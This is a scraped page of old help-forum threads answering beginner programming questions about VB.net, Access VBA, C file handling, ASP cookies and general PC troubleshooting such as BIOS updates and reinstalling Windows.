Explore topic-wise InterviewSolutions in .

This section includes InterviewSolutions, each offering curated multiple-choice questions to sharpen your knowledge and support exam preparation. Choose a topic below to get started.

551.

Solve : Hide Interface vb.net?

Answer»

Hello,

I have created a VB.net project HOWEVER it does not require any user interaction so I would like to know how to make my app invisible in other words only VISIBLE in the process list in the TASK manager.
Thanks

Al968Anybody :-?

What I tried before was to put :
me.hide()

But it doesn't work it SEEMS to be only working with events

Any IDEAS apreciated

Thanks

Al968

552.

Solve : Reading Binary Code from file?

Answer»

Hello,

I would LIKE to know if anybody could help , I am trying to read the binary content of a file and search for a specific hex code, here is what I have:

Dim gett As New IO.BinaryReader(IO.File.OpenRead("c:\file.txt"))
Dim read As String = gett.ReadDouble
Dim SearchString As String
MessageBox.Show(read)
SearchString = ("4D5A50000200000004")
If read.IndexOf(SearchString) <&GT; -1 Then MessageBox.Show("found") Else MessageBox.Show("no")

Thanks in Advance

Al968I'm not sure what the question is. Is this working or not and if not where is the problem?

The ReadDouble method reads an 8-byte floating point value from the current stream and advances the current position of the stream by EIGHT bytes. I may be wrong, but your search argument seems too large and probably shouldn't be dimensioned as a string.

8-)

PS. I got the definition of ReadDouble direct from the VB.Net help. MARVELOUS little invention that help thing.N/o the code I posted is not working
Yes I do know that "little invention"
Yes the "double" part is a mistake but Then I don't know what to read it as :-/

Thanks

Al968Check out the ReadAllBytes method. I'm still not certain your search argument is defined properly or even that you need a binary reader for a text file.

I'm very confused, your file has a txt extension. Can you not simply use the ReadAllLines method and then use Instr to search for your argument. :-?ACTUALLY the file.txt is not the actual file I want to read it from, the file is an exe file, Sorry if I confused you :-/

Thanks

Al968

553.

Solve : Ms Access - Pass value in form to subroutine.?

Answer»

I have added a VBA Command Button to a Form in a MS Access DATABASE. The Command Button executes the following code when clicked.

Private Sub CreateDir_Click()
On Error GoTo Err_CreateDir_Click

DIM stAppName As String

stAppName = "P:\ZNewProject.bat"
Call Shell(stAppName, 1)

Exit_CreateDir_Click:
Exit Sub

Err_CreateDir_Click:
MsgBox Err.Description
Resume Exit_CreateDir_Click

End Sub

I would like to pass the value found in one of the Form fields to the batch file.

Any Ideas?
create a variable to store the value in and then pass it assuming, of course, your batch file can "catch" it. Something like.

Private Sub CreateDir_Click()
On Error GoTo Err_CreateDir_Click

Dim stAppName As String
Dim stValue as String

stValue = me.text1

stAppName = "P:\ZNewProject.bat" & " " & stValue
Call Shell(stAppName, 1)

Exit_CreateDir_Click:
Exit Sub

Err_CreateDir_Click:
MsgBox Err.Description
Resume Exit_CreateDir_Click

End Sub


The value is then concatenated onto stAppName in your case.



Gary
I understand that part I guess my question was difficult to understand. I'll try again.

The part I am having difficulty with is with the line

stValue = me.text1

The "me.text1" is actually a value that is input into the form field named EA on the Access Form.

So how do I EXTRACT the value of the Field called EA from the Record being viewed in the Access Form? me. = the current form
the next part is the name of the control. I used text1 as an example.

So assuming that field you want to read from on the form is named EA. Then you REFER to the form field as me.EA.

If you want to extract the value you do.

somevariable = me.EA

if you want to put something in it you do...

me.EA.value = somevariable.

Be careful if your form is bound to a table and you let Access name the fields for you. You will find that it names the form field the same as the column name in the table and will cause CONFUSION for you and Access.


Thanks a Million Gussery, it works like a charm!!!!!!!!!!
(Sorry I misunderstood the Me.text)




You're welcome.

Happy computing...........

Gary

554.

Solve : File handling in C?

Answer»

Hi,

Ok here are the program specifications:
To produce a program which will allow the user to play the dice game chicago. On starting the program a permanent file of 10 player accounts will be held opened and then copied from RAM into an array of 10 accounts.

An account record consists of:

An account holders name- this can be up to 19 letters long.
An account password- which should contain 8 alphanumeric characters.
An account balance- this field will store the number of points which a user has accumulated during all play sessions.
Number of games played
Average points played PER game.

A welcome screen remains on the screen untill the enter key is pressed. The customer is then prompted to type in their name. They are then asked to type in a password. The name and password are checked to see that there is an appropriate player record

If the details are incorrect the user returns to the welcome screen.

If the details entered are appropriate a menu appears offering the following services:

1) View Scoreboard (showung averages for all players)
2) Help - a screen (or screens) to explain the game rules.
2) Play Chicago dice game
4) Exit

The relevant choice is then carried out. After this choice has been completed the user is returned to the menu screen. This process is repeated until the user chooser option 4.

If the user enters option 4 updated player details will be saved to the permanent data file before the program closes.

The Game

There are two players (human vs computer)

To play: There are eleven rounds numbered 2 - 12. In each round the player tries to roll and score the number of the round, the numbers being combinations possible with 2 dice.

If a player throws the correct number for that round they score 1 point. If they throw any other number they dont score. The HIGHEST total after 11 rounds wins the game.

On completion of the game the players number of games played and average points scored statistics are updated in the tempory array of records. Ok from this and reading primitive documention i managed to get my hands on, i think i needed a second program to input the 10 usernames and passwords so i did this code:

#include
#include
#include

/*create a permanent file for 10 user accounts and scores to be held*/

#define FileName "C:\\Users.dat"

struct rec
{
char Username[19];
char Password[8];
int Score;
};

struct rec GetRec();
void WriteRec(FILE *file_handle, struct rec User);

struct rec UserRec;
FILE *UserFile;
char Answer;


main()


{/*start of the main program*/

UserFile = fopen(FileName,"a");
do
/*loop starts*/

{/*start of loop*/
UserRec = GetRec();
WriteRec(UserFile, UserRec);

/*promt to add another record or quit*/
printf("Add another user to the file (Y/N)");

/*wait for entry y/n*/
Answer = GETCHE();

/*loop ends*/
}/*end of loop*/

/*carry out the choice*/
while (toupper(Answer)=='Y');
fclose(UserFile);


}/*end of the main program*/



struct rec GetRec()
{
struct rec User;
clrscr();

/*welcome screen to add new users*/
printf("\n\nPlease enter the new user details:");

/*A prompt appears ASKING for the input of the user name*/
printf("\n\nPlease enter the new username:");

/*wait for key press*/
scanf("%s",User.Username);

/*Input the users password*/
printf("\n\nPlease enter the users password:");

/*wait for key press*/
scanf("%s",User.Password);

/*Add users starting points*/
printf("\n\nPlease enter the number of starting points:");

/*wait for key press*/
scanf("%d",&User.Score);
printf("\n");

return User;
}

void WriteRec(FILE *file_handle, struct rec User)
{
char Answer;

/*promt for validation to save record*/
printf("\OK to save this record (Y/N) ");

/*wait for entry of y/n*/
Answer = getche();

if (toupper(Answer) == 'Y')

/*the files are saved to the permanent file*/
fwrite(&User, sizeof(User), 1, file_handle);
printf("\n");
}


This works for the input fine, so below the program code (please ignore the fact it is the wrong game, this was for testing purposes and is not the problem):

#include
#include
#include
#include
#include

#define FileName "C:\\Users.dat"

struct rec
{
char Username[19];
char Password[8];
int Score;
};

struct rec GetRec();


struct rec UserRec;
FILE *UserFile;

char choice, reply, username, password;
int result, die1, die2, i,score,LOOP1,loop2,numsin[6],ranInts[7];

void welcome();
void user();
void menu();
void getchoice();
void dochoice();
void scores();
void help();
void game();
void getnums();
void draw();
void compare();
void message();

void main()
{
UserFile=fopen(FileName,'r+');
fill_array();

do
{
welcome();
user();
menu();
getchoice();
dochoice();
}while (choice!='D');

}

void welcome()
{
clrscr();
gotoxy(24,14);
printf("Welcome to the game of Chicago!");
gotoxy(26,16);
printf("Please press a key to enter.");
getch();
}




void user()
{
clrscr();
printf("Please enter your username:\n\n");
scanf("%c",&username);
if(username==UserFile);
printf("\n\nPlease enter your password:\n\n");
scanf("%c",&password);
getch();
}




void menu()
{
clrscr();
gotoxy(12,10);
printf("MENU");
gotoxy(12,12);
printf("A:View Scoreboard.");
gotoxy(12,13);
printf("B:View help files.");
gotoxy(12,14);
printf("C:Play Chicago dice game.");
gotoxy(12,15);
printf("D:Exit.");

}

void getchoice()
{
gotoxy(12,17);
printf("Enter your choice ...");
choice = toupper(getch());
}

void dochoice()
{
switch (choice)
{
case 'A':scores();
break;
case 'B':help();
break;
case 'C':game();
break;
case 'D':printf("\n\nEXITING PROGRAM");
break;
default: gotoxy(12,19);
printf("\n\nInvalid choice");
gotoxy(12,21);
printf("Press a key to return to the menu");
getch();
}
}

void scores()



{
UserFile = fopen(FileName,"r");
clrscr();
printf("\nPlayers Scoreboard\n");

while (fread(&UserRec, sizeof(UserRec),1,UserFile))
{
printf("\n%12s%4d",UserRec.Username,UserRec.Score);
}
printf("\n\nEnd of players Scoreboard");
fclose(UserFile);

printf("\nPress any key to continue");
getch();

}

void help()



{
clrscr();
printf("\n\nThe Game explained:");

printf("\n\nChicago is a two player game, this consists of you vs the computer.");



printf("\n\nThere are eleven rounds 2-12. In each round the player tries to roll and score the number");


printf(" of the round, the numbers being the combinations possible with two dice.");


printf("\n\nIf you or the computer throw the correct number in in any round then the score");

printf(" increases by one point, if any other number is thrown the score remains the same.");


printf("\n\nThe player with the highest total after the eleven rounds wins the game.");

printf("\n\nOn completion of the game, your total number of games played, and your");

printf(" average points scored are updated.");

printf("\n\nPress a key to return to the main menu.");


getch();
}


void game()


{
randomize();


do{
getnums();
draw();
score=0;
compare();
message();

printf("\nDo you want to play again y / n : ");
reply = getch();
} while (reply !='n');



}


void getnums()
{
for (i=0;i<=5;i++)

{

do
{
printf("\n\n\nPlease enter your choice (1-49) for ball %d " , i+1, "\n");
scanf("%d",&numsin);
}
while ((numsin < 1) ^ (numsin >49));



}

}




void draw()
{


for (i=0;i<=6;i++)

{
ranInts=1+random(49);
}

clrscr();
printf("LOTTERY DRAW MADE");

for (i=0;i<=5;i++)
{
printf("\n\nBall number %d is %d", i+1,ranInts);
}

printf("\n\nBonus Ball is %d",ranInts[6]);
printf("\n\nPress any key to continue...");
getch();
}

void compare()
{
for (loop1=0;loop1<=5;loop1++)
{
for (loop2=0;loop2<=5;loop2++)
{
if (numsin[loop1] == ranInts[loop2])
{
score++;
}
}/*end loop2*/
}/*end loop1*/
}/*end compare*/


void message()
{

clrscr();
if (score >2)
{
printf("\n\nCONGRATULATIONS - YOU HAVE WON !!!!!");
}

if (score < 3)
{
printf("\n\nSORRY - YOU LOSE AGAIN.........");
}

getch();
}

I am having problems in the way of the users(); as i cannot work out how to compare with what is in the permanent file, or how to get it into the programs memory, also it does not allow for a password to be entered, and if you select anything other than a,b,c or d it does not return to the menu, but to the welcome screen.

555.

Solve : COOKIES..please help?

Answer»

HI ,

I wrote a cookie THRU a ASP page in my computer using response.cookies OBJECT .
I am trying to retrive a Cookie value thru the asp page using request.cookies object .
But have not been able to do that . Can some body help me in this please?
THANKS in ADVANCE

556.

Solve : How to reinstall the entire computer?

Answer»

Hi everyone. NEW to this site was looking on the internet for some possible help. Here is my problem: My aunt who often has problems with her computer messed up her computer again. But this time I don't know how to fix it. It is a Gateway that had Windows Millenium 2000. It starts up fine then it comes to the part where you see the wallpaper and it says error with internet explorer and it must shut the program down, you click ok and then the computer freezes. You see nothing but the wallpaper (no icons). I then try alt ctrl del. It pops up but there is nothing in it. No PROGRAMS running listed. I try restarting again and the same thing again and again. She said she didn't delete anything. She said that an aol program poped up and asked her to update aol. She clicks ok and the computer freezes. She restarts and the computer then ends up with this problem. If anyone out there knows how to fix this PLEASE respond.

I think that EVERYTHING may need to be reinstalled. I have never done this before so anyone out there who can guide me. I would say I am good with computers. I've had one for 12 years. No formal training but I've never had a problem on my own computers that I haven't been able to not fix. =) My aunt has a couple of disks that came with her computer. How do I uninstall everything the computer has now and reinstall everything from blank.Need to know if the "couple of disks" are capable of re-installing the OS, if not then the problem may be greater than first thought. Let's say that one of the couple of disks are able to reinstall the operating system. How can I do that?First thing..
This board is for programming not soft/hardware. If you post in the proper area you will get a much faster and better response to your needs. This question should probably go in Windows.

Now to the issue at hand..
Pop the disk into the drive and reboot. You want to format the C: then re-install windows. You might have to change the BIOS to boot off the floppy. If so, just after you turn it on you should see a note about pressing a key to enter setup (probably Delete). In setup look for Boot Sequence and make sure it's set to boot off the floppy first.Joleen has answered your query but I would do it differently. I assume your "disks" are cd's not floppies as in 1.4mb. I would boot using a Win.98se bootdisk (Bootdisk.com), format, then PUT the cd into the drive and enter the drive letter (believe it or not R:) and then Setup i.e. R:\SETUP and follow the on-screen prompts. All this without having to alter BIOS!!

However, I have made the assumption that you have a floopy-disk drive.

And, yes, this is a programming forum but you got your replies just the same...

Good luck

D...

557.

Solve : Desktop Refresh?

Answer»

Does anyone know how to refresh their desktop with vba??

I have tried all sorts and nothing seems to WORK, can't believe that a simple microsoft function may have not been covered.....

any help MUCH appreciatedI found a VBScript method in the snippet closet:

Code: [Select]Const DESKTOP = &H10&

Set WshShell = createobject("Shell.Application")
Set myDesktop = WshShell.NameSpace(DESKTOP)
myDesktop.Self.InvokeVerb "R&efresh"


Not sure why you'd do this in VBA and not Windows, but since VBScript is a subset of VBA it just might work. 8-)

Quote

can't believe that a simple microsoft function may have not been covered.....
You could try this:

Code: [Select]Private Sub cmdRefreshIcons_Click()
' routine to refresh the desktop.
' copied from (URL address BLOCKED: See forums rules)
Dim icon_size_string As String
Dim new_icon_size_string As String
Dim result As Long

' Get the current icon size.
icon_size_string = GetRegKeyValue( _
HKEY_CURRENT_USER, _
"Control Panel\Desktop\WindowMetrics", _
"Shell Icon Size")

' Increase the value by 1.
new_icon_size_string = FORMAT$(CInt(icon_size_string) + _
1)
SetRegKeyValue HKEY_CURRENT_USER, _
"Control Panel\Desktop\WindowMetrics", _
"Shell Icon Size", new_icon_size_string

' Send HWND_BROADCAST to refresh the icons.
SendMessageTimeout HWND_BROADCAST, WM_SETTINGCHANGE, _
SPI_SETNONCLIENTMETRICS, 0&, SMTO_ABORTIFHUNG, _
10000&, result

' Restore the original value.
SetRegKeyValue HKEY_CURRENT_USER, _
"Control Panel\Desktop\WindowMetrics", _
"Shell Icon Size", icon_size_string

' Send HWND_BROADCAST to refresh the icons again.
SendMessageTimeout HWND_BROADCAST, WM_SETTINGCHANGE, _
SPI_SETNONCLIENTMETRICS, 0&, SMTO_ABORTIFHUNG, _
10000&, result
End Sub
just be careful when modifying registry. You could render your computer useless, until re-install of OS. Re-installing OS just about solves everybodies problems lol. no joy my friends, what about a script that does a specific folder - could try doing it on the desktop folder instead???You might try to get a handle for the DESKTOP folder and use the sendkeys method of the shell object to mimic F5.

Code: [Select]Set WSHShell = WScript.CreateObject("WScript.Shell")
strDesktop = WSHShell.SpecialFolders("Desktop")
WSHShell.AppActivate strDesktop
WSHShell.SendKeys "{F5}"

STILL no word on why you'd do this from within an application.

8-)

Edit: found this solution on the net; it's still written in VBScript not VBA though

558.

Solve : split function or whatever works in Access?

Answer»

What is the code or expression used to RETURN text separated by a comma. In other words, in a text field containing a last name separated from the first name by a comma, what do I do to return either the last name up to the comma or the first name after the comma. I can't use "left" or "right" because the names are all of different lengths. I've TRIED working with the split function but am not doing it correctly. Thanks for any help offered.You can use a combination of left, right and instr (In String). Instr returns a number equal to the first place it finds a specific character.

So Left([fieldname],Instr(",")) would return the leftmost characters up to and including the comma. You can do Left([fieldname],Instr(",")-1 ) if you don't want the comma.

To get the right side you do Right([fieldname],Len([fieldname) - Instr(",")). Which takes the rightmost characters determined by taking the length of the string (len) and SUBTRACTING the position of the first comma from the left.

GaryThanks very much Gary. I've gotten the Left function working but I'm getting an "Invalid Procedure CALL" when I try the Right function. My syntax must be off but I'm not seeing it. This is what I typed in:
Right([PrimaryCaregiverName],Len([PrimaryCaregiverName])-Instr(","))

Any suggestions?YEP, my fault, sorry. :-[Right([PrimaryCaregiverName],Len([PrimaryCaregiverName])-Instr([PrimaryCaregiverName],","))

Forgot to tell Instr what string to look at.



Gary
(very embarrassed)
That will teach me to reply before morning coffee.......
No, I'm embarassed. It was completely obvious once I saw your correction. Thanks very, very, very much!

559.

Solve : how to execute a ASP file when windows Starts??

Answer»

I have been trying to find out the way , to excute a ASP page as soon as windows start. I have WRITTEN a ASP code which RETRIVES the information from the server and displayes it on the Internet Explorer.
I WANT this ASP page to be executed at the windows start up and displayes the result in IE.

Can sombody help me in this ?...i have thought of creating the batch file and executing it at start up , but i am not SURE about the scripting, as i have not done any batch file scripting previously.IS there any other way of doing it?

Thanks,

Ashishjust a guss, create a autorun file in the startup folder:
Start>All Programs>Startupthanks for the reply , i have ALREADY done that n it works ....thanks again

560.

Solve : image size?

Answer»

I recently had my PC rebooted new with "WINDOWS Home edition" The size of of EVERYTHING i can see is incredibly small in size.I thought i COULD figure this out pretty EASILY but I cannot seem to figure this out. Any response would be appreciated, thank youtimm......What resolution is your display set at ? You may want to reduce it .......GO to your control panel and click on display ........


Let us know

dl65

561.

Solve : Bios where to??

Answer»

well i ve notived that my BIOS is outdated...i download a NEW one...but now i dont know where to PUT it...any help please?You need a BIOS flashing UTILITY, you can probably get one from the MANUFACTURER's website...but a BIOS flash can be dangerous...ok thank you ...by dangerous... you mean?If you don't follow the instructions correctly and/or it just goes wrong for some reason (maybe a power failure) then you can corrupt the BIOS, badly damaging your system.
As the BIOS tells everything what to do, so to speak, if your BIOS is damaged you can't even boot fron a floppy to resurrect your system.Quote

well i ve notived that my bios is outdated...i download a new one...but now i dont know where to put it...any help please?

Do you have a specific problem that the BIOS update addresses, or you just want to do it because it is newer? If it is the latter you may want to rethink this, and research a LOT.

What motherboard, where did you get the file, etc. If it was not from the manufacturer's site don't do it. If it was, then read the instructions there.
unless something is worng, which it dosen't seen so DONT DO IT.
562.

Solve : phoenix BISO with memory chip?

Answer»

I am GOING to link my PC to an existing embedded PC includeda "disk-on-chip" memory chip.

If I CHOOSE phoenix BIOS to talk with this chip, what should I do?

And how I know what language that this existing EmPC is USING???

Please give helping. Are you building a server?The existing embedded PC is a gateway for C Bus.

Now I am building a new gateway to link up C Bus with LonWorks.

Do you have any idea?

563.

Solve : validation/doctype?

Answer»

can anyone give a hint about the doctype problem I ENCOUNTER? I use a floating NAVIGATION menu that does not float when USING
"http://www.w3.org/TR/REC-html40/loose.dtd">


When I use it works but I am getting HUNDREDS of errors when validating it.

Thanks a lot Paul www.wizpick.com

564.

Solve : how do a exe. file on the table of vc?

Answer»

I am longing to know how the exe.file done on the table of VC!Is SOMEBODY who know deeply TELLING me the method?thank u!Are you tring to compile your code to an EXE in Visual C++? CONFUSED with this brief description

565.

Solve : maximize/minimize window using VB?

Answer» HI guys,

How to maximize window for program that is running and minimize it using VBscript?

Actually I want to automate ALT+TAB function to switch display between few program that are running at taskbar.

Could somebody HELP me...

One of the shortcomings of VBScript is that it can't access the Windows API. There are 3rd party controls available (Google for them...specifically you're looking to use the User32.dll features in your code).

The AppActivate method can tell you if a specific application is running but I suspect you need more than that.

8-)If you can call to an exe to execute, you could create an ALT+TAB macro with Jit BIT Macro recorder/compiler.... I use this software for all my macro needs, just not sure if you can call your EXE Macro from within VB. I know in C++ you can call the SYSTEM command and place your command or file you want to execute following it and have it execute.

You can try Jit Bit at http://www.jitbit.com/macrorecorder.aspx

I use this tool to create macros that are referenced by C++ and Batch Files ... Hope this helps, the software is cheap if it works for you.

$35 and it has PAID for itself over and over again for redundant automated macro routines... 8-)Thank 4 your feedback guys.

Is there any other way instead of using VBscript PROBABLY C etc...Actually any high level language will do. Check out EnumWindows for an example in VB.

Good luck. 8-)
566.

Solve : How to draw a Karnaugh map??

Answer»

Can someone show me how to DRAW a karnaugh MAP for: ABD'+A'BD'+AB'D+A'CD+ABCD and the how to simplify the expressionOh, you again. Did you even SEARCH GOOGLE?

567.

Solve : Get array from a file in vb.net?

Answer»

Hello,

I would like to know how to load the contenet of a file to an ARRAY in vb.net.
Example:

file.db:
hello,
hi
good
bad

Array:
INDEX1 = hello,
index2 = hi
index3 = good
index4 = bad

Thanks

Al968


There is always the brute force method, read a record, redim the array, push the record into the array.

If this were a text file you can use the File.ReadAllLines(string) method, but since I notice your file name is a database, go with the brute force method and use ADO access methods for file.db

Happy Programming. 8-)You could include a NUMBER as the first entry of a file that TELLS you how many enteries there are. Or, if you pad all enteries out to a certain length, you can CALCULATE from the file size, but that is disk space inefficient.

568.

Solve : Sub Directory in VB.net?

Answer»

Hello,

I wrote a program in vb.net that shows shows the path of every file in a directory in a messagebox however I would like to do the same thing so that the program shows every file in the main directory and sub directories. Here is my code:

Dim dirInfo As New System.IO.DirectoryInfo("C:\my documents")
Dim file As System.IO.FileInfo
Dim files() As System.io.FileInfo = dirInfo.GetFiles("*.*")
For Each file In files
Dim sr As New IO.StreamReader(file.FullName)
Dim str As String = sr.ReadToEnd
MESSAGEBOX.SHOW(file.fullname)
Next


Thanks

Al968You need to make your code recursive (a module calling itself) in order to climb down each branch of the directory tree. I found an EXAMPLE of recursion in the snippet closet. It's written in VBScript but it should give you some idea how to go about it.

Code: [Select]Set fso = CREATEOBJECT("Scripting.FileSystemObject")
Set dc = fso.Drives

For each ds in dc
Select Case ds.DriveType
Case 2
Set RootDir = fso.GetFolder(ds & "\") 'starting directory goes here
GetThePaths(RootDir)
End Select
Next

Function GetThePaths(Folder)
For Each Subfolder in Folder.SubFolders
GetTheFiles(Subfolder.Path)
GetThePaths Subfolder
Next
End Function

Function GetTheFiles(FileFolder)
Set f = fso.GetFolder(FileFolder)
Set fc = f.Files
For Each fs in fc
WScript.Echo fs
End If
Next
End Function

Good luck. 8-)Thanks for the responce.
"It's written in VBScript but it should give you some idea how to go about it. "
Actually I have no idea how VBScript works
But thanks anyways

Al968
Quote

Actually I have no idea how VBScript works

VBScript is a subset of VB but without the forms, the variable declarations, and all that pesky compiling. Actually the snippet was posted to show you a method to accomplish your task. It was not posted as a solution as there are differences between VB and VBScript.

8-)Well thanks for your help
I understand your code a little but I don't KNOW how to write it in vb.net :-/
But I least know I have something

Thanks

Al968
569.

Solve : Date Script?

Answer»

I need a windows batch FILE that I can RUN to look at log files and copy all files older than x days. I have alot of experience with UNIX scripting and know exactly how I would do it with shell scripting. I haven't done much scripting in the windows environment. I can't use WSL due to security reasons.

Can someone please assist with this

Thanks!RAM,

Try to realize that when batch language was introduced, date arithmetic was not high on the priority list. Sometimes its easier to back into this stuff. The script below copies the log files that you want to keep to a temporary directory, then deletes all the original log files and copies back the logs you want to keep.

@echo off
set /P cutoffdate=Enter Cut Off Date (m-d-y)
md c:\tempdirectory
xcopy /d:%cutoffdate% yourdirectory\*.log c:\tempdirectory
del yourdirectory\*.log
copy c:\tempdirectory\*.log yourdirectory
del \tempdirectory\*.*
rd \tempdirectory
set cutoffdate=

Feel free to change the directory names to fit your situation. Geez, this is one ugly script.

Good Luck.

570.

Solve : Does anyone know of a BASIC....?

Answer»

Quote

Quote
VB.NET uses this METHOD where it goes into Microsoft INTERMEDIATE Language and is compiled / INTERPRETED by the END user.

When we are debating whether Microsoft Visual Basic is compiled or interpreted, it's KIND of stupid to say Microsoft Visual Basic is either compiled or interpreted.
571.

Solve : Prolog programming.?

Answer»

Greetings to all,

Can you ANYONE teach me how to do expert system based on prolog language. PLZ i need it urgent cause i need to do a video camera system by using prolog language.Google it - there's even a tutorialThanks but i cant find anything RELATED. Can anyone tell where i can get a SAMPLE of expect system using LP language. I need it urgently.You must be kidding. Really, you must be.

I go to Google and type in "prolog" and I get 2,900,000 hits. The THIRD hit on the page is a tutorial with examples.......

"Give a man a fish and feed him for a day, teach a man to fish and feed him for life............."

572.

Solve : ASP .NET?

Answer»

Could anyone tell me where to find the Upload control in Visual Studio .NET.

I think I saw examples of using it but can't find it in the toolbox even in add NEW components window.

I need to use it for my project.
Hi,

For upload in asp.net.
In html tab in toll box U find the "file field" control,drag and drop that and
use it for file upload.

thanks
Satish.Satish,

While we all admire your enthusiasm, I'm pretty sure this POSTER is long gone...the post is 2½ YEARS old. Around here we try to work with the living although there are no guarantees.

In any case welcome to the forum.

573.

Solve : Using batch file to run Access VBA modules?

Answer»

Is it possible to create a batch file that will automatically start Access (2000) and run VBA code? I have done it with macros in Access, but not VBA code. ThanksYou MIGHT be able to use the /CMD switch. You could pass data as a command line argument provided your code knew what do with the data.

Modules are generally written as event handlers to an UNDERLYING form. Also check out Auto_Open (I THINK that's the correct name) which can be used to kickstart your code.

Hope this helps. 8-)Great. I will give it a try. Thanks for your input.

574.

Solve : Unpack vb.net?

Answer»

Hello,

I currently have have a program that SEARCHES for a specified string in files HOWEVER what I would need is how to check if the FILE that is being SCANNED is packed and if it is unpack it using the unpacker which would be included in my application. This in vb.net as MENTIONED in the title.

Thank You

Al968

575.

Solve : Bat File in Win 2000 to execute macro in Access?

Answer»

I am using Scheduled TASK in Win 2000 to run a simple batch file I created in Win 2000 (Note Pad). The batch file is to open a Access 2000 Database and EXECUTE a macro that will run queries and dump data into a history table. My batch file will GO into the Database, but will not execute the macro. I use the Access data everyday to run daily reports and it is working fine. Any ideas what I am doing wrong? Here is the code I pu together. Thanks

"Q:\Common\Claims\Daily_Reports\RiskDailyReports_2.mdb"/x mcrOpenReport
Exit

576.

Solve : Variable in VB.net Project?

Answer»

Hello,

I would like to know how to set a variable that can be read by all of my forms in vb.net, meaning that my form 1 could set it as variable = 1 and the form 2 would show it on a label. HOPE this is CLEAR if you need anything else please ask.

Thanks

Al968Create a module and under the "General Declarations" insert your variable declaration. Global variables must be declared outside any subs or functions. Globals can be strange animals, better to pass the data on a sub or function call.

8-)

The programming board has not seen this much action since Bill GATES realized he could profit off a product named BASIC.Thanks,I got it
Now that I knew that the variable was called a variable I googled and FOUND many websites explaining how to do it.

Al968

577.

Solve : Got VB?

Answer» HEY

I just got VB to help me with my course work

i hate PROGRAMING i remember learning TB Silver those were the DAYS lol.

Anyone know where i can get tutorials?

R0SS

Ask the tutor of computer lessons.
578.

Solve : Error in vb.bet?

Answer»

Hello,

I was running my vb.net when I got an error message saying that it could not read a file because it was being used by an other process, could anyone tell me the code to IGNORE anyfile that my program cannot read.

Here is the error message:
System.IO.IOException:The processus was not able to acess this file "c:\pagefile.sys", because it is being used by an other process
at System.IO.__Error.WinIOError(Int32 errorCode, String str)
at System.IO.FileStream..ctor(String path, FileMode mode, FileAccess access, FileShare share, Int32 bufferSize, Boolean useAsync, String msgPath, Boolean bFromProxy)
at System.IO.FileStream..ctor(String path, FileMode mode, FileAccess access, FileShare share, Int32 bufferSize)
at System.IO.StreamReader..ctor(String path, Encoding encoding, Boolean detectEncodingFromByteOrderMarks, Int32 bufferSize)
at System.IO.StreamReader..ctor(String path)
at CRC32VB.form1.btnCrc_Click(Object SENDER, EventArgs e) in C:\app\engine\Copie DE current\Form1.vb:line 281
at System.Windows.Forms.Control.OnClick(EventArgs e)
at System.Windows.Forms.Button.OnClick(EventArgs e)
at System.Windows.Forms.Button.WndProc(Message& m)
at System.Windows.Forms.ControlNativeWindo w.OnMessage(Message& m)
at System.Windows.Forms.ControlNativeWindo w.WndProc(Message& m)
at System.Windows.Forms.NativeWindow.Callb ack(IntPtr hWnd, Int32 msg, IntPtr wparam, IntPtr lparam)


Thanks

Al968Perhaps a Try/Catch sequence would help; On the Try side, you can attempt to read a file, if an exception is THROWN, you can Catch it with the EX exception and write code on what to do if the file is not accessible.

8-)I don't know how to do that but I did think exactly the same thing.
Would you know of an artcile that explains how to do that ?

Thanks

Al968Google is very good at finding things:

Try/Catch

More Try/Catch

These should explain what you need. Also the supplied help with Visual Studio or Visual Basic .Net is invaluable if not sometimes overwhelming.

Happy Programming 8-)

Thanks A lot

Very helpful

Al968I've tried it however I still get the error message but not as often, here is the code I puted in:

'Try and catch
Try
SearchString = "a"
If str.IndexOf(SearchString) <> -1 Then vir = "a"
Catch ex As Exception
MsgBox(ex.Message)
End Try
Thanks

Al968Quote

I was running my vb.net when I got an error message saying that it could not read a file because it was being used by an other process

There is not enough code posted to see the problem, but the try/catch construct is for the file read.

pseudocode:

Try
read the file (you will need other parameters depending on what type of read this is...database, flat file,
random read)
Catch EX as Exception
code this piece of what to do if the read fails
End Try

Good luck. 8-)

PS. Did you read the links that were posted?Yes I did and they were useful thats how I came up with the code in my previous POST. Isn't the pseudocode exactly what I have ?

Thanks

Al968
579.

Solve : Mail from VB .net?

Answer»

Hello,

I would like to know if there any way in visual basic to send an email (of course I know the username and password) is it possible to send an attachement ?

Thanks

Al968Check out the Collaboration Data Object (CDO). You can send emails with or without attachments, send HTML formats and a whole lot of other stuff.

You could also create an Outlook object but CDO is much easier.

8-)

PS. There is a special place in *CENSORED* for spammers.Don't worry
I know spam is bad
I received some

Thsi is ACTUALLY for submitting files

Al968Quote

PS. There is a special place in *censored* for spammers.

al968,

I think he was referring to you for spamming the BOARD with a lot of questions that might be better handled if you SIMPLY bought a book, or took a class, or search on the Internet, etc.
580.

Solve : Visual Basic: MS Word Macro?

Answer»

This should be a pretty simple question for anyone familiar with MSVB functions. I'm pretty good with them, but I just don't use it enough to know what this particular function is called...

The Question:
Is there a way to create a STRING in VB and then place it onto the copy/paste clipboard? For example, I run a macro that generates a string, and then the macro places the string onto the clipboard so that I can paste it wherever I want with Ctrl-V?

It would look something like this:

sub KineticsMacro()

Dim KineticsString As String
KineticsString = "Hello World"


end sub
Then when I press Ctrl-V, the string "Hello World" will paste into whatever document I have open.



And for those of you that require more information...

The situation:
I have a word document with about 50 CHECK boxes in it. The client takes this form, checks off the applicable boxes, and resubmits it to me. More often than not, 30 or more checkboxes will be checked. To dummy-proof the form (for the client & people on my team), the document is to remain in "Locked/Secure" mode at ALL TIMES, and each checkbox was created as a VB object so that macros could be assigned to them.

The problem:
When I get this form, I need to copy the information from the form into a database, including a list of everything that was checked. Unfortuneately, since the document is always Locked-down, you can only highlight/copy/paste text that resides in designated unprotected "free text" areas. Since we can't risk a client changing the text for each checkbox, we have no way of performing a copy/paste from the form into our database...
...and entering 30 or more sever names for every form that we get requires WAY too much of our time.This is from the VBA help file - remember to press F1 from within the VB editor:

Quote

Example
As it applies to the SELECTION object.

This example copies the contents of the selection into a new document.

If Selection.Type = wdSelectionNormal Then
Selection.Copy
Documents.Add.Content.Paste
End If

As it appllies to the BookMark object.

This example sets the Book2 bookmark to the location marked by the Book1 bookmark.

ActiveDocument.Bookmarks("Book1").Copy Name:="Book2"

As it applies to the Range object.

This example sets the Selection bookmark to the \Sel predefined bookmark in the active document.

ActiveDocument.Bookmarks("\Sel").Copy Name:="Selection"

This example copies the first paragraph in the active document and pastes it at the end of the document.

ActiveDocument.Paragraphs(1).Range.Copy
Set myRange = ActiveDocument.Range _
(Start:=ActiveDocument.Content.End - 1, _
End:=ActiveDocument.Content.End - 1)
